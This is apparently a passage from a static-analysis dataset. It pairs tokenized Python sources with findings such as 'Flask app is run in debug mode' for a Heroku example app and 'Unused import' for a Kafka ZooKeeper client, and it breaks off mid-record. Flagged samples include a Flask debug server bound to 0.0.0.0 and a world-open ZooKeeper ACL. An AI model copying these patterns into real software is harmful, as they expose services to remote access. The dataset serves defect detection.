"\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "iso", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "ISO", " ", "disk", " ", "format", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "install", "'_", ":_", "'", "Bind", "ow", "s", " ", "Heav", "en", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Flask app is run in debug mode
twip/flask_twip/examples/heroku/app.py
[ { "content": "#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n\nfrom __future__ import unicode_literals,\\\n absolute_import, division, print_function\n\nfrom flask import Flask\nfrom flask.ext.twip import Twip\nfrom flask.ext.twip.backend import SQLBackend\nfrom flask.ext.twip.environment import HerokuEnvironment\nimport os\n\napp = Flask(__name__)\napp.config.from_object('settings')\nbe = SQLBackend(\n db=os.environ.get('DATABASE_URL'),\n table='twip_tokens'\n)\ntwip = Twip(app, backend=be, environment=HerokuEnvironment)\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(\n debug=True,\n host='0.0.0.0',\n port=port\n )\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "app.run(\n debug=True,\n host='0.0.0.0',\n port=port\n )", "start_line": 22, "start_column": 4, "end_line": 26, "end_column": 5 } ]
[]
1
false
[ "[CLS]_", "Flask_", "app_", "is_", "run_", "in_", "debug_", "mode_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "vim", ":", " ", "set", " ", "file", "encoding", "=", "utf", "-", "8", " ", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", ",_", "abs", "olute", "\\u", "import_", ",_", "division_", ",_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "flask_", "import_", "Flask_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "._", "ext_", "._", "twi", "p_", "import_", "Twi", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "._", "ext_", "._", "twi", "p_", "._", "backend_", "import_", "SQL", "Backend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "._", "ext_", "._", "twi", "p_", "._", "environment_", "import_", "Hero", "ku", "Environment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "Flask_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "config_", "._", "from", "\\u", "object_", "(_", "'", "settings", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "be_", "=_", "SQL", "Backend_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "DATA", "BASE", "\\u", "URL", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "table_", "=_", "'", "twi", "p", "\\u", "token", "s", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "twi", "p_", "=_", "Twi", "p_", "(_", "app_", ",_", "backend_", "=_", "be_", ",_", "environment_", "=_", "Hero", "ku", "Environment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "int_", "(_", "os_", "._", "environ_", "._", "get_", "(_", "'", "PORT", "'_", ",_", "5000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "run_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "debug_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "'", "0.", "0.", "0.", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
DataDog/brod/brod/zk.py
[ { "content": "\"\"\"\nTODO:\n* Move producer, consumer into their own files\n* ZKUtil should be broken up into two pieces -- one with path info, the rest \n to get folded into consumer and producer as necessary.\n\nFIXME: Extract the logic for testing how the brokers get partitioned so we can\n test them in simple unit tests without involving Kafka/ZK.\n\"\"\"\nimport json\nimport logging\nimport platform\nimport random\nimport time\nimport uuid\nfrom collections import namedtuple, Mapping, defaultdict\nfrom itertools import chain\n\nimport zookeeper\nfrom zc.zk import ZooKeeper, FailedConnect\n\nfrom brod.base import BrokerPartition, ConsumerStats, MessageSet\nfrom brod.base import ConnectionFailure, FetchResult, KafkaError, OffsetOutOfRange\nfrom brod.simple import SimpleConsumer\nfrom brod.blocking import Kafka\n\nlog = logging.getLogger('brod.zk')\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class NoAvailablePartitionsError(KafkaError): pass", "metadata": "root.NoAvailablePartitionsError", "header": "['module', '___EOS___']", "index": 28 }, { "content": "class ConsumerEntryNotFoundError(KafkaError): pass", "metadata": "root.ConsumerEntryNotFoundError", "header": "['module', '___EOS___']", "index": 29 }, { "content": "class ZKConnectError(KafkaError): pass", "metadata": "root.ZKConnectError", "header": "['module', '___EOS___']", "index": 30 }, { "content": "class ZKUtil(object):\n\n # This is a free-for-all ACL that we should re-evaluate later\n ACL = [{\"perms\": 0x1f, \"scheme\": \"world\", \"id\": \"anyone\"}]\n\n \"\"\"Abstracts all Kafka-specific ZooKeeper access.\"\"\"\n \n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n \n\n\n\n\n", "metadata": "root.ZKUtil", "header": "['module', '___EOS___']", "index": 32 }, { "content": " def __init__(self, zk_conn_str, zk_timeout=None):\n try:\n self._zk = ZooKeeper(zk_conn_str, zk_timeout)\n except FailedConnect as e:\n raise ZKConnectError(e)", "metadata": "root.ZKUtil.__init__", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 38 }, { "content": " def close(self):\n self._zk.close()", "metadata": "root.ZKUtil.close", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 44 }, { "content": " def broker_partitions_for(self, topic, force_partition_zero=False):\n \"\"\"Return a list of BrokerPartitions based on values found in \n ZooKeeper.\n\n If you set force_partition_zero=True, we will always return partition \n 0 of a broker, even if no topic has been created for it yet. Consumers\n don't need this, because it means there's nothing there to read anyway.\n But Producers need to be bootstrapped with it.\n \"\"\"\n # Get the broker_ids first...\n if force_partition_zero:\n broker_ids = self.all_broker_ids()\n else:\n broker_ids = self.broker_ids_for(topic)\n # log.debug(u\"broker_ids: {0}\".format(broker_ids))\n\n # Then the broker_strings for each broker\n broker_paths = map(self.path_for_broker, broker_ids)\n # log.debug(u\"broker_paths: {0}\".format(broker_paths))\n\n broker_strings = map(self._zk_properties, broker_paths)\n # log.debug(u\"broker_strings: {0}\".format(broker_strings))\n\n # Then the num_parts per broker (each could be set differently)\n broker_topic_paths = [self.path_for_broker_topic(broker_id, topic) \n for broker_id in broker_ids]\n \n # Every broker has at least one partition, even if it's not published\n num_parts = []\n for p in broker_topic_paths:\n broker_parts = self._zk_properties(p) if self._zk.exists(p) else 1\n num_parts.append(broker_parts)\n # log.debug(u\"num_parts: {0}\".format(num_parts))\n \n # BrokerPartition\n return list(\n chain.from_iterable(\n BrokerPartition.from_zk(broker_id, broker_string, topic, n)\n for broker_id, broker_string, n\n in zip(broker_ids, broker_strings, num_parts)\n )\n )", "metadata": "root.ZKUtil.broker_partitions_for", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 47 }, { "content": " def offsets_state(self, consumer_group):\n \"\"\"For a given consumer_group, get back a ZK state dict that looks like:\n \n {\n \"topic1\" : {\n \"1-0\" : 1002830,\n \"1-1\" : 1201221, \n \"2-0\" : 3232445,\n \"2-1\" : 2309495\n }\n \"topic2\" : {\n \"1-0\" : 1002830,\n \"1-1\" : 1201221, \n \"2-0\" : 3232445,\n \"2-1\" : 2309495\n }\n }\n\n Keys are topic names for that consumer group, and the values are the \n children in ZooKeeper -- other dicts with keys that are \n {broker_id}-{partition_id} to offsets.\n \"\"\"\n def topic_offsets(topic):\n broker_parts_path = self.path_for_offsets(consumer_group, topic)\n broker_parts = self._zk_children(broker_parts_path)\n return dict((bp, int(self._zk_properties(broker_parts_path + \"/\" + bp)))\n for bp in broker_parts)\n\n state = {}\n topics = self._zk_children(\"/consumers/{0}/offsets\".format(consumer_group))\n for topic in topics:\n state[topic] = topic_offsets(topic)\n \n return state", "metadata": "root.ZKUtil.offsets_state", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 91 }, { "content": " def offsets_for(self, consumer_group, consumer_id, broker_partitions):\n \"\"\"Return a dictionary mapping broker_partitions to offsets.\"\"\"\n UNKNOWN_OFFSET = 2**63 - 1 # Long.MAX_VALUE, it's what Kafka's client does\n bps_to_offsets = {}\n for bp in broker_partitions:\n # The topic might not exist at all, in which case no broker has \n # anything, so there's no point in making the offsets nodes and such\n if self._zk.exists(self.path_for_topic(bp.topic)):\n offset_path = self.path_for_offset(consumer_group, \n bp.topic, \n bp.broker_id,\n bp.partition)\n try:\n offset = int(self._zk_properties(offset_path))\n except zookeeper.NoNodeException as ex:\n # This is counter to the Kafka client behavior, put here for\n # simplicity for now. FIXME: Dave\n self._create_path_if_needed(offset_path, 0)\n offset = 0\n bps_to_offsets[bp] = offset\n \n return bps_to_offsets", "metadata": "root.ZKUtil.offsets_for", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 126 }, { "content": " def save_offsets_for(self, consumer_group, bps_to_next_offsets):\n bp_ids_to_offsets = sorted((bp.id, offset) \n for bp, offset in bps_to_next_offsets.items())\n log.debug(\"Saving offsets {0}\".format(bp_ids_to_offsets))\n for bp, next_offset in sorted(bps_to_next_offsets.items()):\n # The topic might not exist at all, in which case no broker has \n # anything, so there's no point in making the offsets nodes and such\n if self._zk.exists(self.path_for_topic(bp.topic)):\n offset_path = self.path_for_offset(consumer_group, \n bp.topic, \n bp.broker_id,\n bp.partition)\n try:\n offset_node = self._zk.properties(offset_path)\n except zookeeper.NoNodeException as ex:\n self._create_path_if_needed(offset_path, bp)\n offset_node = self._zk.properties(offset_path)\n next_offset = 0 # If we're creating the node now, assume we\n # need to start at 0. \n # None is the default value when we don't know what the next\n # offset is, possibly because the MessageSet is empty...\n if next_offset is not None:\n log.debug(\"Node %s: setting to %s\" % (offset_node, next_offset))\n offset_node.set(string_value=str(next_offset))", "metadata": "root.ZKUtil.save_offsets_for", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 149 }, { "content": " def broker_ids_for(self, topic):\n topic_path = self.path_for_topic(topic)\n try:\n topic_node_children = self._zk_children(topic_path)\n except zookeeper.NoNodeException:\n log.warn(u\"Couldn't find {0} - No brokers have topic {1} yet?\"\n .format(topic_path, topic))\n return []\n\n return sorted(int(broker_id) for broker_id in topic_node_children)", "metadata": "root.ZKUtil.broker_ids_for", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 174 }, { "content": " def all_broker_ids(self):\n brokers_path = self.path_for_brokers()\n try:\n topic_node_children = self._zk_children(brokers_path)\n except zookeeper.NoNodeException:\n log.error(u\"Couldn't find brokers entry {0}\".format(brokers_path))\n return []\n\n return sorted(int(broker_id) for broker_id in topic_node_children)", "metadata": "root.ZKUtil.all_broker_ids", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 185 }, { "content": " def consumer_ids_for(self, topic, consumer_group):\n \"\"\"For a given consumer group, return a list of all consumer_ids that\n are currently registered in that group.\"\"\"\n # Gets the ids node below which are all consumer_ids in this group\n cg_path = self.path_for_consumer_ids(consumer_group)\n\n # All consumer_ids for this group, but not all of them are necessarily\n # interested in our topic\n consumer_ids_in_group = sorted(self._zk_children(cg_path))\n consumer_id_paths = [self.path_for_consumer_id(consumer_group, consumer_id)\n for consumer_id in consumer_ids_in_group]\n consumer_id_data = [self._zk_properties(path) \n for path in consumer_id_paths]\n\n return [consumer_id for consumer_id, data\n in zip(consumer_ids_in_group, consumer_id_data)\n if topic in data]", "metadata": "root.ZKUtil.consumer_ids_for", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 195 }, { "content": " def register_consumer(self, consumer_group, consumer_id, topic):\n \"\"\"Creates the following permanent node, if it does not exist already:\n /consumers/{consumer_group}/ids\n\n The data written at this node is just the consumer_id so that we can \n later track who created what.\n\n We then create the following emphemeral node:\n /consumers/{consumer_group}/ids/{consumer_id}\n \n The data written in this node is a dictionary of topic names (in \n unicode) to the number of threads that this consumer has registered\n for this topic (in our case, always one).\n \"\"\"\n self._create_path_if_needed(self.path_for_consumer_ids(consumer_group),\n consumer_id)\n # Create an emphermal node for this consumer\n consumer_id_path = self.path_for_consumer_id(consumer_group, consumer_id)\n log.info(\"Registering Consumer {0}, trying to create {1}\"\n .format(consumer_id, consumer_id_path))\n zookeeper.create(self._zk.handle, \n consumer_id_path,\n json.dumps({topic : 1}), # topic : # of threads\n ZKUtil.ACL,\n zookeeper.EPHEMERAL)", "metadata": "root.ZKUtil.register_consumer", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 213 }, { "content": " def _create_path_if_needed(self, path, data=None):\n \"\"\"Creates permanent nodes for all elements in the path if they don't\n already exist. Places data for each node created. (You'll probably want\n to use the consumer_id for this, just for accounting purposes -- it's \n not used as part of the balancing algorithm).\n\n Our zc.zk.ZooKeeper object doesn't know how to create nodes, so we\n have to dig into the zookeeper base library. Note that we can't create\n all of it in one go -- ZooKeeper only allows atomic operations, and\n so we're creating these one at a time.\n \"\"\"\n if not path.startswith(\"/\"):\n raise ValueError(\"Paths must be fully qualified (begin with '/').\")\n\n def _build_path(nodes):\n return \"/\" + \"/\".join(nodes)\n\n nodes_to_create = path[1:].split(\"/\") # remove beginning \"/\"\n created_so_far = []\n for node in nodes_to_create:\n created_path = _build_path(created_so_far)\n if node and node not in self._zk.children(created_path).data:\n node_to_create = _build_path(created_so_far + [node])\n # If data is a string, we'll initialize the node with it...\n if isinstance(data, basestring):\n init_data = data \n else:\n init_data = json.dumps(data)\n zookeeper.create(self._zk.handle, node_to_create, init_data, ZKUtil.ACL)\n created_so_far.append(node)", "metadata": "root.ZKUtil._create_path_if_needed", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 239 }, { "content": " def path_for_broker_topic(self, broker_id, topic_name):\n return \"{0}/{1}\".format(self.path_for_topic(topic_name), broker_id)", "metadata": "root.ZKUtil.path_for_broker_topic", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 270 }, { "content": " def path_for_brokers(self):\n return \"/brokers/ids\"", "metadata": "root.ZKUtil.path_for_brokers", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 273 }, { "content": " def path_for_broker(self, broker_id):\n return \"/brokers/ids/{0}\".format(broker_id)", "metadata": "root.ZKUtil.path_for_broker", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 276 }, { "content": " def path_for_topics(self):\n return \"/brokers/topics\"", "metadata": "root.ZKUtil.path_for_topics", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 279 }, { "content": " def path_for_topic(self, topic):\n return \"{0}/{1}\".format(self.path_for_topics(), topic)", "metadata": "root.ZKUtil.path_for_topic", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 282 }, { "content": " def path_for_offsets(self, consumer_group, topic):\n return (\"/consumers/{0}/offsets/{1}\".format(consumer_group, topic))", "metadata": "root.ZKUtil.path_for_offsets", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 285 }, { "content": " def path_for_offset(self, consumer_group, topic, broker_id, partition):\n path_for_offsets = self.path_for_offsets(consumer_group, topic)\n return \"{0}/{1}-{2}\".format(path_for_offsets, broker_id, partition)", "metadata": "root.ZKUtil.path_for_offset", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 288 }, { "content": " def path_for_consumer_ids(self, consumer_group):\n return u\"/consumers/{0}/ids\".format(consumer_group)", "metadata": "root.ZKUtil.path_for_consumer_ids", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 292 }, { "content": " def path_for_consumer_id(self, consumer_group, consumer_id):\n return u\"{0}/{1}\".format(self.path_for_consumer_ids(consumer_group),\n consumer_id)", "metadata": "root.ZKUtil.path_for_consumer_id", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 295 }, { "content": " def _zk_properties(self, path):\n node_data = self._zk.properties(path).data\n if 'string_value' in node_data:\n return node_data['string_value']\n return node_data", "metadata": "root.ZKUtil._zk_properties", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 299 }, { "content": " def _zk_children(self, path):\n return self._zk.children(path).data", "metadata": "root.ZKUtil._zk_children", "header": "['class', 'ZKUtil', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '# This is a free-for-all ACL that we should re-evaluate later', '___NL___', '___EOS___']", "index": 305 }, { "content": "class ZKProducer(object):\n\n\n \n\n\n\n\n\n\n\n", "metadata": "root.ZKProducer", "header": "['module', '___EOS___']", "index": 309 }, { "content": " def __init__(self, zk_conn_str, topic, zk_timeout=None):\n self._id = uuid.uuid1()\n self._topic = topic\n self._bps_changed = False\n self._zk_util = ZKUtil(zk_conn_str, zk_timeout)\n\n # Try to pull the brokers and partitions we can send to on this topic\n self._brokers_watch = None\n self._topic_watch = None\n self._register_callbacks()\n self.detect_broker_partitions()\n\n # This will collapse duplicates so we only have one conn per host/port\n broker_conn_info = frozenset((bp.broker_id, bp.host, bp.port)\n for bp in self._broker_partitions)\n self._connections = dict((broker_id, Kafka(host, port))\n for broker_id, host, port in broker_conn_info)", "metadata": "root.ZKProducer.__init__", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 311 }, { "content": " @property\n def topic(self):\n return self._topic", "metadata": "root.ZKProducer.topic", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 329 }, { "content": " @property\n def broker_partitions(self):\n return self._broker_partitions[:]", "metadata": "root.ZKProducer.broker_partitions", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 333 }, { "content": " def close(self):\n self._zk_util.close()", "metadata": "root.ZKProducer.close", "header": "['class', 'ZKProducer', '(', 